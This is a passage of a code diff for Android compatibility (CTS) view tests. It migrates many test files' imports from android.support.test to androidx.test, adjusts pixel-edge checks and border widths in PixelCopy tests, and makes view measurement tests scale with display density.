-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.view.OrientationListener;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/view/src/android/view/cts/PixelCopyTest.java b/tests/tests/view/src/android/view/cts/PixelCopyTest.java
index e5f6560..6f14aa9 100644
--- a/tests/tests/view/src/android/view/cts/PixelCopyTest.java
+++ b/tests/tests/view/src/android/view/cts/PixelCopyTest.java
@@ -33,11 +33,6 @@
import android.graphics.SurfaceTexture;
import android.os.Debug;
import android.os.Debug.MemoryInfo;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.LargeTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.util.Half;
import android.util.Log;
import android.view.PixelCopy;
@@ -45,6 +40,12 @@
import android.view.View;
import android.view.Window;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.LargeTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.SynchronousPixelCopy;
import org.junit.Before;
@@ -756,21 +757,21 @@
private void assertBitmapEdgeColor(Bitmap bitmap, int edgeColor) {
// Just quickly sample a few pixels on the edge and assert
// they are edge color, then assert that just inside the edge is a different color
- assertBitmapColor("Top edge", bitmap, edgeColor, bitmap.getWidth() / 2, 0);
- assertBitmapNotColor("Top edge", bitmap, edgeColor, bitmap.getWidth() / 2, 1);
+ assertBitmapColor("Top edge", bitmap, edgeColor, bitmap.getWidth() / 2, 1);
+ assertBitmapNotColor("Top edge", bitmap, edgeColor, bitmap.getWidth() / 2, 2);
- assertBitmapColor("Left edge", bitmap, edgeColor, 0, bitmap.getHeight() / 2);
- assertBitmapNotColor("Left edge", bitmap, edgeColor, 1, bitmap.getHeight() / 2);
+ assertBitmapColor("Left edge", bitmap, edgeColor, 1, bitmap.getHeight() / 2);
+ assertBitmapNotColor("Left edge", bitmap, edgeColor, 2, bitmap.getHeight() / 2);
assertBitmapColor("Bottom edge", bitmap, edgeColor,
- bitmap.getWidth() / 2, bitmap.getHeight() - 1);
- assertBitmapNotColor("Bottom edge", bitmap, edgeColor,
bitmap.getWidth() / 2, bitmap.getHeight() - 2);
+ assertBitmapNotColor("Bottom edge", bitmap, edgeColor,
+ bitmap.getWidth() / 2, bitmap.getHeight() - 3);
assertBitmapColor("Right edge", bitmap, edgeColor,
- bitmap.getWidth() - 1, bitmap.getHeight() / 2);
- assertBitmapNotColor("Right edge", bitmap, edgeColor,
bitmap.getWidth() - 2, bitmap.getHeight() / 2);
+ assertBitmapNotColor("Right edge", bitmap, edgeColor,
+ bitmap.getWidth() - 3, bitmap.getHeight() / 2);
}
private boolean pixelsAreSame(int ideal, int given, int threshold) {
diff --git a/tests/tests/view/src/android/view/cts/PixelCopyViewProducerActivity.java b/tests/tests/view/src/android/view/cts/PixelCopyViewProducerActivity.java
index 054de45..07aa4fd 100644
--- a/tests/tests/view/src/android/view/cts/PixelCopyViewProducerActivity.java
+++ b/tests/tests/view/src/android/view/cts/PixelCopyViewProducerActivity.java
@@ -157,22 +157,23 @@
protected void onDraw(Canvas canvas) {
int cx = getWidth() / 2;
int cy = getHeight() / 2;
+ final int BORDER_WIDTH = 2;
canvas.drawColor(Color.YELLOW);
- mRect.set(1, 1, cx, cy);
+ mRect.set(BORDER_WIDTH, BORDER_WIDTH, cx, cy);
mPaint.setColor(Color.RED);
canvas.drawRect(mRect, mPaint);
- mRect.set(cx, 1, getWidth() - 1, cy);
+ mRect.set(cx, BORDER_WIDTH, getWidth() - BORDER_WIDTH, cy);
mPaint.setColor(Color.GREEN);
canvas.drawRect(mRect, mPaint);
- mRect.set(1, cy, cx, getHeight() - 1);
+ mRect.set(BORDER_WIDTH, cy, cx, getHeight() - BORDER_WIDTH);
mPaint.setColor(Color.BLUE);
canvas.drawRect(mRect, mPaint);
- mRect.set(cx, cy, getWidth() - 1, getHeight() - 1);
+ mRect.set(cx, cy, getWidth() - BORDER_WIDTH, getHeight() - BORDER_WIDTH);
mPaint.setColor(Color.BLACK);
canvas.drawRect(mRect, mPaint);
}
diff --git a/tests/tests/view/src/android/view/cts/PointerCaptureTest.java b/tests/tests/view/src/android/view/cts/PointerCaptureTest.java
index e6068ce..96e9717 100644
--- a/tests/tests/view/src/android/view/cts/PointerCaptureTest.java
+++ b/tests/tests/view/src/android/view/cts/PointerCaptureTest.java
@@ -35,15 +35,16 @@
import android.app.Instrumentation;
import android.os.SystemClock;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.view.InputDevice;
import android.view.KeyEvent;
import android.view.MotionEvent;
import android.view.View;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.CtsMouseUtil.ActionMatcher;
import com.android.compatibility.common.util.CtsTouchUtils;
import com.android.compatibility.common.util.PollingCheck;
diff --git a/tests/tests/view/src/android/view/cts/ScaleGestureDetectorTest.java b/tests/tests/view/src/android/view/cts/ScaleGestureDetectorTest.java
index 53dd062..51263bd 100644
--- a/tests/tests/view/src/android/view/cts/ScaleGestureDetectorTest.java
+++ b/tests/tests/view/src/android/view/cts/ScaleGestureDetectorTest.java
@@ -21,13 +21,14 @@
import android.os.Handler;
import android.os.Looper;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.view.ScaleGestureDetector;
import android.view.ScaleGestureDetector.SimpleOnScaleGestureListener;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Rule;
import org.junit.Test;
diff --git a/tests/tests/view/src/android/view/cts/SearchEventTest.java b/tests/tests/view/src/android/view/cts/SearchEventTest.java
index b679fac..8ff8923 100644
--- a/tests/tests/view/src/android/view/cts/SearchEventTest.java
+++ b/tests/tests/view/src/android/view/cts/SearchEventTest.java
@@ -23,14 +23,15 @@
import android.content.Context;
import android.content.pm.PackageManager;
import android.hardware.input.InputManager;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.view.InputDevice;
import android.view.KeyEvent;
import android.view.SearchEvent;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.PollingCheck;
import org.junit.Before;
diff --git a/tests/tests/view/src/android/view/cts/SoundEffectConstantsTest.java b/tests/tests/view/src/android/view/cts/SoundEffectConstantsTest.java
index 186e06d..d8c2e8e 100644
--- a/tests/tests/view/src/android/view/cts/SoundEffectConstantsTest.java
+++ b/tests/tests/view/src/android/view/cts/SoundEffectConstantsTest.java
@@ -18,11 +18,12 @@
import static org.junit.Assert.assertEquals;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.view.SoundEffectConstants;
import android.view.View;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/view/src/android/view/cts/SurfaceHolder_BadSurfaceTypeExceptionTest.java b/tests/tests/view/src/android/view/cts/SurfaceHolder_BadSurfaceTypeExceptionTest.java
index 79990e9..ea8925f 100644
--- a/tests/tests/view/src/android/view/cts/SurfaceHolder_BadSurfaceTypeExceptionTest.java
+++ b/tests/tests/view/src/android/view/cts/SurfaceHolder_BadSurfaceTypeExceptionTest.java
@@ -18,10 +18,11 @@
import static org.junit.Assert.assertSame;
import static org.junit.Assert.fail;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.view.SurfaceHolder.BadSurfaceTypeException;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/view/src/android/view/cts/SurfaceViewSyncTest.java b/tests/tests/view/src/android/view/cts/SurfaceViewSyncTest.java
index 2a14a8d..5406ee4 100644
--- a/tests/tests/view/src/android/view/cts/SurfaceViewSyncTest.java
+++ b/tests/tests/view/src/android/view/cts/SurfaceViewSyncTest.java
@@ -27,9 +27,6 @@
import android.graphics.Paint;
import android.media.MediaPlayer;
import android.os.Environment;
-import android.support.test.filters.LargeTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.support.test.uiautomator.UiObjectNotFoundException;
import android.util.Log;
import android.util.SparseArray;
@@ -45,6 +42,10 @@
import android.view.cts.surfacevalidator.ViewFactory;
import android.widget.FrameLayout;
+import androidx.test.filters.LargeTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.After;
import org.junit.Before;
import org.junit.Rule;
diff --git a/tests/tests/view/src/android/view/cts/SurfaceViewTest.java b/tests/tests/view/src/android/view/cts/SurfaceViewTest.java
index 3ccca48..966e44d 100644
--- a/tests/tests/view/src/android/view/cts/SurfaceViewTest.java
+++ b/tests/tests/view/src/android/view/cts/SurfaceViewTest.java
@@ -24,17 +24,18 @@
import android.app.Instrumentation;
import android.graphics.PixelFormat;
import android.graphics.Region;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.view.KeyEvent;
import android.view.SurfaceHolder;
import android.view.SurfaceView;
import android.view.ViewGroup;
import android.view.cts.SurfaceViewCtsActivity.MockSurfaceView;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.CtsKeyEventUtil;
import com.android.compatibility.common.util.PollingCheck;
import com.android.compatibility.common.util.WidgetTestUtils;
diff --git a/tests/tests/view/src/android/view/cts/Surface_OutOfResourcesExceptionTest.java b/tests/tests/view/src/android/view/cts/Surface_OutOfResourcesExceptionTest.java
index 438ff1b..492d6fe 100644
--- a/tests/tests/view/src/android/view/cts/Surface_OutOfResourcesExceptionTest.java
+++ b/tests/tests/view/src/android/view/cts/Surface_OutOfResourcesExceptionTest.java
@@ -16,10 +16,11 @@
package android.view.cts;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.view.Surface;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/view/src/android/view/cts/TextureViewCameraTest.java b/tests/tests/view/src/android/view/cts/TextureViewCameraTest.java
index 63d4d5e..b22c2d0 100644
--- a/tests/tests/view/src/android/view/cts/TextureViewCameraTest.java
+++ b/tests/tests/view/src/android/view/cts/TextureViewCameraTest.java
@@ -19,9 +19,10 @@
import static org.junit.Assert.assertTrue;
import android.hardware.Camera;
-import android.support.test.filters.LargeTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.LargeTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Before;
import org.junit.Rule;
diff --git a/tests/tests/view/src/android/view/cts/TextureViewTest.java b/tests/tests/view/src/android/view/cts/TextureViewTest.java
index 431b27d..682483d 100644
--- a/tests/tests/view/src/android/view/cts/TextureViewTest.java
+++ b/tests/tests/view/src/android/view/cts/TextureViewTest.java
@@ -33,15 +33,16 @@
import android.graphics.Matrix;
import android.graphics.Point;
import android.graphics.Rect;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.util.Half;
import android.view.PixelCopy;
import android.view.TextureView;
import android.view.View;
import android.view.Window;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.SynchronousPixelCopy;
import com.android.compatibility.common.util.WidgetTestUtils;
diff --git a/tests/tests/view/src/android/view/cts/TooltipTest.java b/tests/tests/view/src/android/view/cts/TooltipTest.java
index 90ab139..8fefb50 100644
--- a/tests/tests/view/src/android/view/cts/TooltipTest.java
+++ b/tests/tests/view/src/android/view/cts/TooltipTest.java
@@ -23,10 +23,6 @@
import android.app.Activity;
import android.app.Instrumentation;
import android.os.SystemClock;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.LargeTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.util.Log;
import android.view.Gravity;
import android.view.InputDevice;
@@ -38,6 +34,11 @@
import android.widget.PopupWindow;
import android.widget.TextView;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.LargeTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.CtsTouchUtils;
import com.android.compatibility.common.util.PollingCheck;
diff --git a/tests/tests/view/src/android/view/cts/TouchDelegateTest.java b/tests/tests/view/src/android/view/cts/TouchDelegateTest.java
index 9c94d4c..17845d8 100644
--- a/tests/tests/view/src/android/view/cts/TouchDelegateTest.java
+++ b/tests/tests/view/src/android/view/cts/TouchDelegateTest.java
@@ -22,13 +22,13 @@
import android.app.Instrumentation;
import android.os.SystemClock;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.view.InputDevice;
import android.view.MotionEvent;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Before;
import org.junit.Rule;
diff --git a/tests/tests/view/src/android/view/cts/VelocityTrackerTest.java b/tests/tests/view/src/android/view/cts/VelocityTrackerTest.java
index 955cf7c..b7a0787 100644
--- a/tests/tests/view/src/android/view/cts/VelocityTrackerTest.java
+++ b/tests/tests/view/src/android/view/cts/VelocityTrackerTest.java
@@ -18,12 +18,13 @@
import static org.junit.Assert.fail;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.util.Log;
import android.view.MotionEvent;
import android.view.VelocityTracker;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.After;
import org.junit.Before;
import org.junit.Test;
diff --git a/tests/tests/view/src/android/view/cts/ViewConfigurationTest.java b/tests/tests/view/src/android/view/cts/ViewConfigurationTest.java
index 2c88b25..197f867 100644
--- a/tests/tests/view/src/android/view/cts/ViewConfigurationTest.java
+++ b/tests/tests/view/src/android/view/cts/ViewConfigurationTest.java
@@ -18,11 +18,12 @@
import static org.junit.Assert.assertNotNull;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.view.ViewConfiguration;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/view/src/android/view/cts/ViewDebugTest.java b/tests/tests/view/src/android/view/cts/ViewDebugTest.java
index 8af8bd9..9348a05 100644
--- a/tests/tests/view/src/android/view/cts/ViewDebugTest.java
+++ b/tests/tests/view/src/android/view/cts/ViewDebugTest.java
@@ -19,10 +19,11 @@
import static org.junit.Assert.assertFalse;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.view.ViewDebug;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/view/src/android/view/cts/ViewGroupOverlayTest.java b/tests/tests/view/src/android/view/cts/ViewGroupOverlayTest.java
index f1b3ea5..ade66cb 100644
--- a/tests/tests/view/src/android/view/cts/ViewGroupOverlayTest.java
+++ b/tests/tests/view/src/android/view/cts/ViewGroupOverlayTest.java
@@ -31,17 +31,18 @@
import android.graphics.drawable.ColorDrawable;
import android.graphics.drawable.Drawable;
import android.platform.test.annotations.Presubmit;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.util.Pair;
import android.view.View;
import android.view.ViewGroup;
import android.view.ViewGroupOverlay;
import android.view.cts.util.DrawingUtils;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.CtsTouchUtils;
import org.junit.Before;
diff --git a/tests/tests/view/src/android/view/cts/ViewGroupTest.java b/tests/tests/view/src/android/view/cts/ViewGroupTest.java
index fef5eba..7049186 100644
--- a/tests/tests/view/src/android/view/cts/ViewGroupTest.java
+++ b/tests/tests/view/src/android/view/cts/ViewGroupTest.java
@@ -43,13 +43,6 @@
import android.graphics.drawable.BitmapDrawable;
import android.os.Parcelable;
import android.os.SystemClock;
-import androidx.annotation.NonNull;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.LargeTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.util.AttributeSet;
import android.util.DisplayMetrics;
import android.util.SparseArray;
@@ -76,6 +69,14 @@
import android.widget.Button;
import android.widget.TextView;
+import androidx.annotation.NonNull;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.LargeTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.CTSResult;
import org.junit.Before;
diff --git a/tests/tests/view/src/android/view/cts/ViewGroup_LayoutParamsTest.java b/tests/tests/view/src/android/view/cts/ViewGroup_LayoutParamsTest.java
index 1c6810a..b4e6e95 100644
--- a/tests/tests/view/src/android/view/cts/ViewGroup_LayoutParamsTest.java
+++ b/tests/tests/view/src/android/view/cts/ViewGroup_LayoutParamsTest.java
@@ -21,13 +21,14 @@
import android.content.Context;
import android.content.res.TypedArray;
import android.content.res.XmlResourceParser;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.view.ViewGroup;
import android.view.ViewGroup.LayoutParams;
import android.view.cts.util.XmlUtils;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/view/src/android/view/cts/ViewGroup_MarginLayoutParamsTest.java b/tests/tests/view/src/android/view/cts/ViewGroup_MarginLayoutParamsTest.java
index 0867338..fe598a2 100644
--- a/tests/tests/view/src/android/view/cts/ViewGroup_MarginLayoutParamsTest.java
+++ b/tests/tests/view/src/android/view/cts/ViewGroup_MarginLayoutParamsTest.java
@@ -23,9 +23,6 @@
import android.content.Context;
import android.content.res.XmlResourceParser;
import android.graphics.Rect;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
@@ -33,6 +30,10 @@
import android.view.cts.util.XmlUtils;
import android.widget.LinearLayout;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/view/src/android/view/cts/ViewOutlineProviderTest.java b/tests/tests/view/src/android/view/cts/ViewOutlineProviderTest.java
index 1696610..5921ad4 100644
--- a/tests/tests/view/src/android/view/cts/ViewOutlineProviderTest.java
+++ b/tests/tests/view/src/android/view/cts/ViewOutlineProviderTest.java
@@ -23,14 +23,15 @@
import android.graphics.Outline;
import android.graphics.Rect;
import android.graphics.drawable.ColorDrawable;
-import androidx.annotation.NonNull;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.view.View;
import android.view.ViewOutlineProvider;
+import androidx.annotation.NonNull;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/view/src/android/view/cts/ViewOverlayTest.java b/tests/tests/view/src/android/view/cts/ViewOverlayTest.java
index b1f7363..488532e 100644
--- a/tests/tests/view/src/android/view/cts/ViewOverlayTest.java
+++ b/tests/tests/view/src/android/view/cts/ViewOverlayTest.java
@@ -22,15 +22,16 @@
import android.graphics.Rect;
import android.graphics.drawable.ColorDrawable;
import android.graphics.drawable.Drawable;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.util.Pair;
import android.view.View;
import android.view.ViewOverlay;
import android.view.cts.util.DrawingUtils;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Rule;
import org.junit.Test;
diff --git a/tests/tests/view/src/android/view/cts/ViewPaddingTest.java b/tests/tests/view/src/android/view/cts/ViewPaddingTest.java
index 60fa170..ec54a82 100644
--- a/tests/tests/view/src/android/view/cts/ViewPaddingTest.java
+++ b/tests/tests/view/src/android/view/cts/ViewPaddingTest.java
@@ -20,13 +20,14 @@
import android.content.Context;
import android.graphics.Rect;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.view.LayoutInflater;
import android.view.View;
import android.widget.LinearLayout;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/view/src/android/view/cts/ViewStubTest.java b/tests/tests/view/src/android/view/cts/ViewStubTest.java
index 3aef2bb..f425ff8 100644
--- a/tests/tests/view/src/android/view/cts/ViewStubTest.java
+++ b/tests/tests/view/src/android/view/cts/ViewStubTest.java
@@ -29,10 +29,6 @@
import static org.mockito.Mockito.verifyZeroInteractions;
import android.app.Activity;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.util.AttributeSet;
import android.util.Xml;
import android.view.View;
@@ -40,6 +36,11 @@
import android.view.ViewStub;
import android.widget.LinearLayout;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Rule;
import org.junit.Test;
diff --git a/tests/tests/view/src/android/view/cts/ViewTest.java b/tests/tests/view/src/android/view/cts/ViewTest.java
index 346a513..206ad86 100644
--- a/tests/tests/view/src/android/view/cts/ViewTest.java
+++ b/tests/tests/view/src/android/view/cts/ViewTest.java
@@ -61,11 +61,6 @@
import android.os.Parcelable;
import android.os.SystemClock;
import android.os.Vibrator;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.text.format.DateUtils;
import android.util.AttributeSet;
import android.util.Log;
@@ -104,6 +99,12 @@
import android.widget.LinearLayout;
import android.widget.TextView;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.CtsMouseUtil;
import com.android.compatibility.common.util.CtsTouchUtils;
import com.android.compatibility.common.util.PollingCheck;
@@ -1883,24 +1884,29 @@
@Test
public void testMeasure() throws Throwable {
final MockView view = (MockView) mActivity.findViewById(R.id.mock_view);
+
+ float density = view.getContext().getResources().getDisplayMetrics().density;
+ int size1 = (int) (100 * density + 0.5);
+ int size2 = (int) (75 * density + 0.5);
+
assertTrue(view.hasCalledOnMeasure());
- assertEquals(100, view.getMeasuredWidth());
- assertEquals(100, view.getMeasuredHeight());
+ assertEquals(size1, view.getMeasuredWidth());
+ assertEquals(size2, view.getMeasuredHeight());
view.reset();
mActivityRule.runOnUiThread(view::requestLayout);
mInstrumentation.waitForIdleSync();
assertTrue(view.hasCalledOnMeasure());
- assertEquals(100, view.getMeasuredWidth());
- assertEquals(100, view.getMeasuredHeight());
+ assertEquals(size1, view.getMeasuredWidth());
+ assertEquals(size2, view.getMeasuredHeight());
view.reset();
- final LinearLayout.LayoutParams layoutParams = new LinearLayout.LayoutParams(200, 100);
+ final LinearLayout.LayoutParams layoutParams = new LinearLayout.LayoutParams(size2, size1);
mActivityRule.runOnUiThread(() -> view.setLayoutParams(layoutParams));
mInstrumentation.waitForIdleSync();
assertTrue(view.hasCalledOnMeasure());
- assertEquals(200, view.getMeasuredWidth());
- assertEquals(100, view.getMeasuredHeight());
+ assertEquals(size2, view.getMeasuredWidth());
+ assertEquals(size1, view.getMeasuredHeight());
}
@Test(expected=NullPointerException.class)
@@ -2585,11 +2591,15 @@
final View view = mActivity.findViewById(R.id.mock_view);
Rect rect = new Rect();
+ float density = view.getContext().getResources().getDisplayMetrics().density;
+ int size1 = (int) (100 * density + 0.5);
+ int size2 = (int) (75 * density + 0.5);
+
assertTrue(view.getLocalVisibleRect(rect));
assertEquals(0, rect.left);
assertEquals(0, rect.top);
- assertEquals(100, rect.right);
- assertEquals(100, rect.bottom);
+ assertEquals(size1, rect.right);
+ assertEquals(size2, rect.bottom);
final LinearLayout.LayoutParams layoutParams1 = new LinearLayout.LayoutParams(0, 300);
mActivityRule.runOnUiThread(() -> view.setLayoutParams(layoutParams1));
diff --git a/tests/tests/view/src/android/view/cts/ViewTreeObserverTest.java b/tests/tests/view/src/android/view/cts/ViewTreeObserverTest.java
index 4aa7377..574d125 100644
--- a/tests/tests/view/src/android/view/cts/ViewTreeObserverTest.java
+++ b/tests/tests/view/src/android/view/cts/ViewTreeObserverTest.java
@@ -29,17 +29,18 @@
import android.app.Activity;
import android.app.Instrumentation;
import android.os.SystemClock;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.LargeTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.view.View;
import android.view.ViewTreeObserver;
import android.widget.Button;
import android.widget.LinearLayout;
import android.widget.ScrollView;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.LargeTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.CtsTouchUtils;
import com.android.compatibility.common.util.PollingCheck;
diff --git a/tests/tests/view/src/android/view/cts/View_AnimationTest.java b/tests/tests/view/src/android/view/cts/View_AnimationTest.java
index 81250ac..a70d01d 100644
--- a/tests/tests/view/src/android/view/cts/View_AnimationTest.java
+++ b/tests/tests/view/src/android/view/cts/View_AnimationTest.java
@@ -25,14 +25,15 @@
import android.app.Activity;
import android.app.Instrumentation;
import android.os.SystemClock;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.LargeTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.view.View;
import android.view.animation.TranslateAnimation;
import android.view.animation.cts.AnimationTestUtils;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.LargeTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.PollingCheck;
import org.junit.Before;
diff --git a/tests/tests/view/src/android/view/cts/View_BaseSavedStateTest.java b/tests/tests/view/src/android/view/cts/View_BaseSavedStateTest.java
index 74c240b..2e0d19d 100644
--- a/tests/tests/view/src/android/view/cts/View_BaseSavedStateTest.java
+++ b/tests/tests/view/src/android/view/cts/View_BaseSavedStateTest.java
@@ -26,11 +26,12 @@
import android.os.Parcel;
import android.os.Parcelable;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.view.AbsSavedState;
import android.view.View.BaseSavedState;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
